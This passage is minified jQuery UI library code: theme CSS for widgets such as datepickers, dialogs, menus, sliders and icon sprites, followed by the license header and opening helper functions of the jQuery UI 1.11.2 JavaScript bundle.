.ui-icon,.ui-button-text-icon-primary .ui-icon,.ui-button-text-icon-secondary .ui-icon,.ui-button-text-icons .ui-icon,.ui-button-icons-only .ui-icon{position:absolute;top:50%;margin-top:-8px}.ui-button-icon-only .ui-icon{left:50%;margin-left:-8px}.ui-button-text-icon-primary .ui-button-icon-primary,.ui-button-text-icons .ui-button-icon-primary,.ui-button-icons-only .ui-button-icon-primary{left:.5em}.ui-button-text-icon-secondary .ui-button-icon-secondary,.ui-button-text-icons .ui-button-icon-secondary,.ui-button-icons-only .ui-button-icon-secondary{right:.5em}.ui-buttonset{margin-right:7px}.ui-buttonset .ui-button{margin-left:0;margin-right:-.3em}input.ui-button::-moz-focus-inner,button.ui-button::-moz-focus-inner{border:0;padding:0}.ui-datepicker{width:17em;padding:.2em .2em 0;display:none}.ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0}.ui-datepicker .ui-datepicker-prev,.ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em}.ui-datepicker .ui-datepicker-prev-hover,.ui-datepicker .ui-datepicker-next-hover{top:1px}.ui-datepicker .ui-datepicker-prev{left:2px}.ui-datepicker .ui-datepicker-next{right:2px}.ui-datepicker .ui-datepicker-prev-hover{left:1px}.ui-datepicker .ui-datepicker-next-hover{right:1px}.ui-datepicker .ui-datepicker-prev span,.ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.ui-datepicker select.ui-datepicker-month,.ui-datepicker select.ui-datepicker-year{width:45%}.ui-datepicker table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em}.ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:bold;border:0}.ui-datepicker td{border:0;padding:1px}.ui-datepicker td span,.ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none}.ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}.ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em .6em;width:auto;overflow:visible}.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi .ui-datepicker-group{float:left}.ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em}.ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}.ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto}.ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto}.ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}.ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl .ui-datepicker-group{float:right}.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}.ui-dialog{overflow:hidden;position:absolute;top:0;left:0;padding:.2em;outline:0}.ui-dialog .ui-dialog-titlebar{padding:.4em 1em;position:relative}.ui-dialog .ui-dialog-title{float:left;margin:.1em 0;white-space:nowrap;width:90%;overflow:hidden;text-overflow:ellipsis}.ui-dialog .ui-dialog-titlebar-close{position:absolute;right:.3em;top:50%;width:20px;margin:-10px 0 0 0;padding:1px;height:20px}.ui-dialog .ui-dialog-content{position:relative;border:0;padding:.5em 1em;background:none;overflow:auto}.ui-dialog .ui-dialog-buttonpane{text-align:left;border-width:1px 0 0 0;background-image:none;margin-top:.5em;padding:.3em 1em .5em .4em}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{float:right}.ui-dialog .ui-dialog-buttonpane button{margin:.5em .4em .5em 0;cursor:pointer}.ui-dialog .ui-resizable-se{width:12px;height:12px;right:-5px;bottom:-5px;background-position:16px 16px}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-draggable-handle{-ms-touch-action:none;touch-action:none}.ui-menu{list-style:none;padding:0;margin:0;display:block;outline:none}.ui-menu .ui-menu{position:absolute}.ui-menu .ui-menu-item{position:relative;margin:0;padding:3px 1em 3px .4em;cursor:pointer;min-height:0;list-style-image:url("data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7")}.ui-menu .ui-menu-divider{margin:5px 0;height:0;font-size:0;line-height:0;border-width:1px 0 0 0}.ui-menu .ui-state-focus,.ui-menu .ui-state-active{margin:-1px}.ui-menu-icons{position:relative}.ui-menu-icons .ui-menu-item{padding-left:2em}.ui-menu .ui-icon{position:absolute;top:0;bottom:0;left:.2em;margin:auto 0}.ui-menu .ui-menu-icon{left:auto;right:0}.ui-progressbar{height:2em;text-align:left;overflow:hidden}.ui-progressbar .ui-progressbar-value{margin:-1px;height:100%}.ui-progressbar .ui-progressbar-overlay{background:url("data:image/gif;base64,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");height:100%;filter:alpha(opacity=25);opacity:0.25}.ui-progressbar-indeterminate .ui-progressbar-value{background-image:none}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:0.1px;display:block;-ms-touch-action:none;touch-action:none}.ui-resizable-disabled .ui-resizable-handle,.ui-resizable-autohide .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-selectable{-ms-touch-action:none;touch-action:none}.ui-selectable-helper{position:absolute;z-index:100;border:1px dotted black}.ui-selectmenu-menu{padding:0;margin:0;position:absolute;top:0;left:0;display:none}.ui-selectmenu-menu .ui-menu{overflow:auto;overflow-x:hidden;padding-bottom:1px}.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup{font-size:1em;font-weight:bold;line-height:1.5;padding:2px 0.4em;margin:0.5em 0 0 0;height:auto;border:0}.ui-selectmenu-open{display:block}.ui-selectmenu-button{display:inline-block;overflow:hidden;position:relative;text-decoration:none;cursor:pointer}.ui-selectmenu-button span.ui-icon{right:0.5em;left:auto;margin-top:-8px;position:absolute;top:50%}.ui-selectmenu-button span.ui-selectmenu-text{text-align:left;padding:0.4em 2.1em 0.4em 1em;display:block;line-height:1.4;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ui-slider{position:relative;text-align:left}.ui-slider .ui-slider-handle{position:absolute;z-index:2;width:1.2em;height:1.2em;cursor:default;-ms-touch-action:none;touch-action:none}.ui-slider .ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0 0}.ui-slider.ui-state-disabled .ui-slider-handle,.ui-slider.ui-state-disabled .ui-slider-range{filter:inherit}.ui-slider-horizontal{height:.8em}.ui-slider-horizontal .ui-slider-handle{top:-.3em;margin-left:-.6em}.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.ui-slider-horizontal .ui-slider-range-min{left:0}.ui-slider-horizontal .ui-slider-range-max{right:0}.ui-slider-vertical{width:.8em;height:100px}.ui-slider-vertical .ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em}.ui-slider-vertical .ui-slider-range{left:0;width:100%}.ui-slider-vertical .ui-slider-range-min{bottom:0}.ui-slider-vertical .ui-slider-range-max{top:0}.ui-sortable-handle{-ms-touch-action:none;touch-action:none}.ui-spinner{position:relative;display:inline-block;overflow:hidden;padding:0;vertical-align:middle}.ui-spinner-input{border:none;background:none;color:inherit;padding:0;margin:.2em 0;vertical-align:middle;margin-left:.4em;margin-right:22px}.ui-spinner-button{width:16px;height:50%;font-size:.5em;padding:0;margin:0;text-align:center;position:absolute;cursor:default;display:block;overflow:hidden;right:0}.ui-spinner a.ui-spinner-button{border-top:none;border-bottom:none;border-right:none}.ui-spinner .ui-icon{position:absolute;margin-top:-8px;top:50%;left:0}.ui-spinner-up{top:0}.ui-spinner-down{bottom:0}.ui-spinner .ui-icon-triangle-1-s{background-position:-65px -16px}.ui-tabs{position:relative;padding:.2em}.ui-tabs .ui-tabs-nav{margin:0;padding:.2em .2em 0}.ui-tabs .ui-tabs-nav li{list-style:none;float:left;position:relative;top:0;margin:1px .2em 0 0;border-bottom-width:0;padding:0;white-space:nowrap}.ui-tabs .ui-tabs-nav .ui-tabs-anchor{float:left;padding:.5em 1em;text-decoration:none}.ui-tabs .ui-tabs-nav li.ui-tabs-active{margin-bottom:-1px;padding-bottom:1px}.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor{cursor:text}.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor{cursor:pointer}.ui-tabs .ui-tabs-panel{display:block;border-width:0;padding:1em 1.4em;background:none}.ui-tooltip{padding:8px;position:absolute;z-index:9999;max-width:300px;-webkit-box-shadow:0 0 5px #aaa;box-shadow:0 0 5px #aaa}body .ui-tooltip{border-width:2px}.ui-widget{font-family:Trebuchet MS,Tahoma,Verdana,Arial,sans-serif;font-size:1.1em}.ui-widget .ui-widget{font-size:1em}.ui-widget input,.ui-widget select,.ui-widget textarea,.ui-widget button{font-family:Trebuchet MS,Tahoma,Verdana,Arial,sans-serif;font-size:1em}.ui-widget-content{border:1px solid #ddd;background:#eee url("images/ui-bg_highlight-soft_100_eeeeee_1x100.png") 50% top repeat-x;color:#333}.ui-widget-content a{color:#333}.ui-widget-header{border:1px solid #e78f08;background:#f6a828 url("images/ui-bg_gloss-wave_35_f6a828_500x100.png") 50% 50% repeat-x;color:#fff;font-weight:bold}.ui-widget-header a{color:#fff}.ui-state-default,.ui-widget-content .ui-state-default,.ui-widget-header .ui-state-default{border:1px solid #ccc;background:#f6f6f6 url("images/ui-bg_glass_100_f6f6f6_1x400.png") 50% 50% repeat-x;font-weight:bold;color:#1c94c4}.ui-state-default a,.ui-state-default a:link,.ui-state-default a:visited{color:#1c94c4;text-decoration:none}.ui-state-hover,.ui-widget-content .ui-state-hover,.ui-widget-header .ui-state-hover,.ui-state-focus,.ui-widget-content .ui-state-focus,.ui-widget-header .ui-state-focus{border:1px solid #fbcb09;background:#fdf5ce url("images/ui-bg_glass_100_fdf5ce_1x400.png") 50% 50% repeat-x;font-weight:bold;color:#c77405}.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited,.ui-state-focus a,.ui-state-focus a:hover,.ui-state-focus a:link,.ui-state-focus a:visited{color:#c77405;text-decoration:none}.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active{border:1px solid #fbd850;background:#fff url("images/ui-bg_glass_65_ffffff_1x400.png") 50% 50% repeat-x;font-weight:bold;color:#eb8f00}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#eb8f00;text-decoration:none}.ui-state-highlight,.ui-widget-content .ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid #fed22f;background:#ffe45c url("images/ui-bg_highlight-soft_75_ffe45c_1x100.png") 50% top repeat-x;color:#363636}.ui-state-highlight a,.ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a{color:#363636}.ui-state-error,.ui-widget-content .ui-state-error,.ui-widget-header .ui-state-error{border:1px solid #cd0a0a;background:#b81900 url("images/ui-bg_diagonals-thick_18_b81900_40x40.png") 50% 50% repeat;color:#fff}.ui-state-error a,.ui-widget-content .ui-state-error a,.ui-widget-header .ui-state-error a{color:#fff}.ui-state-error-text,.ui-widget-content .ui-state-error-text,.ui-widget-header .ui-state-error-text{color:#fff}.ui-priority-primary,.ui-widget-content .ui-priority-primary,.ui-widget-header .ui-priority-primary{font-weight:bold}.ui-priority-secondary,.ui-widget-content .ui-priority-secondary,.ui-widget-header .ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:normal}.ui-state-disabled,.ui-widget-content .ui-state-disabled,.ui-widget-header .ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none}.ui-state-disabled .ui-icon{filter:Alpha(Opacity=35)}.ui-icon{width:16px;height:16px}.ui-icon,.ui-widget-content .ui-icon{background-image:url("images/ui-icons_222222_256x240.png")}.ui-widget-header .ui-icon{background-image:url("images/ui-icons_ffffff_256x240.png")}.ui-state-default .ui-icon{background-image:url("images/ui-icons_ef8c08_256x240.png")}.ui-state-hover .ui-icon,.ui-state-focus .ui-icon{background-image:url("images/ui-icons_ef8c08_256x240.png")}.ui-state-active .ui-icon{background-image:url("images/ui-icons_ef8c08_256x240.png")}.ui-state-highlight .ui-icon{background-image:url("images/ui-icons_228ef1_256x240.png")}.ui-state-error .ui-icon,.ui-state-error-text .ui-icon{background-image:url("images/ui-icons_ffd27a_256x240.png")}.ui-icon-blank{background-position:16px 16px}.ui-icon-carat-1-n{background-position:0 0}.ui-icon-carat-1-ne{background-position:-16px 0}.ui-icon-carat-1-e{background-position:-32px 0}.ui-icon-carat-1-se{background-position:-48px 0}.ui-icon-carat-1-s{background-position:-64px 0}.ui-icon-carat-1-sw{background-position:-80px 0}.ui-icon-carat-1-w{background-position:-96px 0}.ui-icon-carat-1-nw{background-position:-112px 0}.ui-icon-carat-2-n-s{background-position:-128px 0}.ui-icon-carat-2-e-w{background-position:-144px 0}.ui-icon-triangle-1-n{background-position:0 -16px}.ui-icon-triangle-1-ne{background-position:-16px -16px}.ui-icon-triangle-1-e{background-position:-32px -16px}.ui-icon-triangle-1-se{background-position:-48px -16px}.ui-icon-triangle-1-s{background-position:-64px -16px}.ui-icon-triangle-1-sw{background-position:-80px -16px}.ui-icon-triangle-1-w{background-position:-96px -16px}.ui-icon-triangle-1-nw{background-position:-112px -16px}.ui-icon-triangle-2-n-s{background-position:-128px -16px}.ui-icon-triangle-2-e-w{background-position:-144px -16px}.ui-icon-arrow-1-n{background-position:0 -32px}.ui-icon-arrow-1-ne{background-position:-16px -32px}.ui-icon-arrow-1-e{background-position:-32px -32px}.ui-icon-arrow-1-se{background-position:-48px -32px}.ui-icon-arrow-1-s{background-position:-64px -32px}.ui-icon-arrow-1-sw{background-position:-80px -32px}.ui-icon-arrow-1-w{background-position:-96px -32px}.ui-icon-arrow-1-nw{background-position:-112px -32px}.ui-icon-arrow-2-n-s{background-position:-128px -32px}.ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.ui-icon-arrow-2-e-w{background-position:-160px -32px}.ui-icon-arrow-2-se-nw{background-position:-176px -32px}.ui-icon-arrowstop-1-n{background-position:-192px -32px}.ui-icon-arrowstop-1-e{background-position:-208px -32px}.ui-icon-arrowstop-1-s{background-position:-224px -32px}.ui-icon-arrowstop-1-w{background-position:-240px -32px}.ui-icon-arrowthick-1-n{background-position:0 -48px}.ui-icon-arrowthick-1-ne{background-position:-16px -48px}.ui-icon-arrowthick-1-e{background-position:-32px -48px}.ui-icon-arrowthick-1-se{background-position:-48px -48px}.ui-icon-arrowthick-1-s{background-position:-64px -48px}.ui-icon-arrowthick-1-sw{background-position:-80px -48px}.ui-icon-arrowthick-1-w{background-position:-96px -48px}.ui-icon-arrowthick-1-nw{background-position:-112px -48px}.ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.ui-icon-arrowreturnthick-1-w{background-position:0 -64px}.ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.ui-icon-arrowreturn-1-w{background-position:-64px -64px}.ui-icon-arrowreturn-1-n{background-position:-80px -64px}.ui-icon-arrowreturn-1-e{background-position:-96px -64px}.ui-icon-arrowreturn-1-s{background-position:-112px -64px}.ui-icon-arrowrefresh-1-w{background-position:-128px -64px}.ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.ui-icon-arrow-4{background-position:0 -80px}.ui-icon-arrow-4-diag{background-position:-16px -80px}.ui-icon-extlink{background-position:-32px -80px}.ui-icon-newwin{background-position:-48px -80px}.ui-icon-refresh{background-position:-64px -80px}.ui-icon-shuffle{background-position:-80px -80px}.ui-icon-transfer-e-w{background-position:-96px -80px}.ui-icon-transferthick-e-w{background-position:-112px -80px}.ui-icon-folder-collapsed{background-position:0 -96px}.ui-icon-folder-open{background-position:-16px -96px}.ui-icon-document{background-position:-32px -96px}.ui-icon-document-b{background-position:-48px -96px}.ui-icon-note{background-position:-64px -96px}.ui-icon-mail-closed{background-position:-80px -96px}.ui-icon-mail-open{background-position:-96px -96px}.ui-icon-suitcase{background-position:-112px -96px}.ui-icon-comment{background-position:-128px -96px}.ui-icon-person{background-position:-144px -96px}.ui-icon-print{background-position:-160px -96px}.ui-icon-trash{background-position:-176px -96px}.ui-icon-locked{background-position:-192px -96px}.ui-icon-unlocked{background-position:-208px -96px}.ui-icon-bookmark{background-position:-224px -96px}.ui-icon-tag{background-position:-240px -96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px -112px}.ui-icon-calendar{background-position:-32px -112px}.ui-icon-cart{background-position:-48px -112px}.ui-icon-pencil{background-position:-64px -112px}.ui-icon-clock{background-position:-80px -112px}.ui-icon-disk{background-position:-96px -112px}.ui-icon-calculator{background-position:-112px -112px}.ui-icon-zoomin{background-position:-128px -112px}.ui-icon-zoomout{background-position:-144px -112px}.ui-icon-search{background-position:-160px -112px}.ui-icon-wrench{background-position:-176px -112px}.ui-icon-gear{background-position:-192px -112px}.ui-icon-heart{background-position:-208px -112px}.ui-icon-star{background-position:-224px -112px}.ui-icon-link{background-position:-240px -112px}.ui-icon-cancel{background-position:0 -128px}.ui-icon-plus{background-position:-16px -128px}.ui-icon-plusthick{background-position:-32px -128px}.ui-icon-minus{background-position:-48px -128px}.ui-icon-minusthick{background-position:-64px -128px}.ui-icon-close{background-position:-80px -128px}.ui-icon-closethick{background-position:-96px -128px}.ui-icon-key{background-position:-112px -128px}.ui-icon-lightbulb{background-position:-128px -128px}.ui-icon-scissors{background-position:-144px -128px}.ui-icon-clipboard{background-position:-160px -128px}.ui-icon-copy{background-position:-176px -128px}.ui-icon-contact{background-position:-192px -128px}.ui-icon-image{background-position:-208px -128px}.ui-icon-video{background-position:-224px -128px}.ui-icon-script{background-position:-240px -128px}.ui-icon-alert{background-position:0 -144px}.ui-icon-info{background-position:-16px -144px}.ui-icon-notice{background-position:-32px -144px}.ui-icon-help{background-position:-48px -144px}.ui-icon-check{background-position:-64px -144px}.ui-icon-bullet{background-position:-80px -144px}.ui-icon-radio-on{background-position:-96px -144px}.ui-icon-radio-off{background-position:-112px -144px}.ui-icon-pin-w{background-position:-128px -144px}.ui-icon-pin-s{background-position:-144px -144px}.ui-icon-play{background-position:0 -160px}.ui-icon-pause{background-position:-16px -160px}.ui-icon-seek-next{background-position:-32px -160px}.ui-icon-seek-prev{background-position:-48px -160px}.ui-icon-seek-end{background-position:-64px -160px}.ui-icon-seek-start{background-position:-80px -160px}.ui-icon-seek-first{background-position:-80px -160px}.ui-icon-stop{background-position:-96px -160px}.ui-icon-eject{background-position:-112px -160px}.ui-icon-volume-off{background-position:-128px -160px}.ui-icon-volume-on{background-position:-144px -160px}.ui-icon-power{background-position:0 -176px}.ui-icon-signal-diag{background-position:-16px -176px}.ui-icon-signal{background-position:-32px -176px}.ui-icon-battery-0{background-position:-48px -176px}.ui-icon-battery-1{background-position:-64px -176px}.ui-icon-battery-2{background-position:-80px -176px}.ui-icon-battery-3{background-position:-96px -176px}.ui-icon-circle-plus{background-position:0 -192px}.ui-icon-circle-minus{background-position:-16px -192px}.ui-icon-circle-close{background-position:-32px -192px}.ui-icon-circle-triangle-e{background-position:-48px -192px}.ui-icon-circle-triangle-s{background-position:-64px -192px}.ui-icon-circle-triangle-w{background-position:-80px -192px}.ui-icon-circle-triangle-n{background-position:-96px -192px}.ui-icon-circle-arrow-e{background-position:-112px -192px}.ui-icon-circle-arrow-s{background-position:-128px -192px}.ui-icon-circle-arrow-w{background-position:-144px -192px}.ui-icon-circle-arrow-n{background-position:-160px -192px}.ui-icon-circle-zoomin{background-position:-176px -192px}.ui-icon-circle-zoomout{background-position:-192px -192px}.ui-icon-circle-check{background-position:-208px -192px}.ui-icon-circlesmall-plus{background-position:0 -208px}.ui-icon-circlesmall-minus{background-position:-16px -208px}.ui-icon-circlesmall-close{background-position:-32px -208px}.ui-icon-squaresmall-plus{background-position:-48px -208px}.ui-icon-squaresmall-minus{background-position:-64px -208px}.ui-icon-squaresmall-close{background-position:-80px -208px}.ui-icon-grip-dotted-vertical{background-position:0 -224px}.ui-icon-grip-dotted-horizontal{background-position:-16px -224px}.ui-icon-grip-solid-vertical{background-position:-32px -224px}.ui-icon-grip-solid-horizontal{background-position:-48px -224px}.ui-icon-gripsmall-diagonal-se{background-position:-64px -224px}.ui-icon-grip-diagonal-se{background-position:-80px -224px}.ui-corner-all,.ui-corner-top,.ui-corner-left,.ui-corner-tl{border-top-left-radius:4px}.ui-corner-all,.ui-corner-top,.ui-corner-right,.ui-corner-tr{border-top-right-radius:4px}.ui-corner-all,.ui-corner-bottom,.ui-corner-left,.ui-corner-bl{border-bottom-left-radius:4px}.ui-corner-all,.ui-corner-bottom,.ui-corner-right,.ui-corner-br{border-bottom-right-radius:4px}.ui-widget-overlay{background:#666 url("images/ui-bg_diagonals-thick_20_666666_40x40.png") 50% 50% repeat;opacity:.5;filter:Alpha(Opacity=50)}.ui-widget-shadow{margin:-5px 0 0 -5px;padding:5px;background:#000 url("images/ui-bg_flat_10_000000_40x100.png") 50% 50% repeat-x;opacity:.2;filter:Alpha(Opacity=20);border-radius:5px}/*! jQuery UI - v1.11.2 - 2014-10-16
* http://jqueryui.com
* Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js, effect-clip.js, effect-drop.js, effect-explode.js, effect-fade.js, effect-fold.js, effect-highlight.js, effect-puff.js, effect-pulsate.js, effect-scale.js, effect-shake.js, effect-size.js, effect-slide.js, effect-transfer.js, menu.js, progressbar.js, resizable.js, selectable.js, selectmenu.js, slider.js, sortable.js, spinner.js, tabs.js, tooltip.js
* Copyright 2014 jQuery Foundation and other contributors; Licensed MIT */

(function(e){"function"==typeof define&&define.amd?define(["jquery"],e):e(jQuery)})(function(e){function t(t,s){var n,a,o,r=t.nodeName.toLowerCase();return"area"===r?(n=t.parentNode,a=n.name,t.href&&a&&"map"===n.nodeName.toLowerCase()?(o=e("img[usemap='#"+a+"']")[0],!!o&&i(o)):!1):(/input|select|textarea|button|object/.test(r)?!t.disabled:"a"===r?t.href||s:s)&&i(t)}function i(t){return e.expr.filters.visible(t)&&!e(t).parents().addBack().filter(function(){return"hidden"===e.css(this,"visibility")}).length}function s(e){for(var t,i;e.length&&e[0]!==document;){if(t=e.css("position"),("absolute"===t||"relative"===t||"fixed"===t)&&(i=parseInt(e.css("zIndex"),10),!isNaN(i)&&0!==i))return i;e=e.parent()}return 0}function 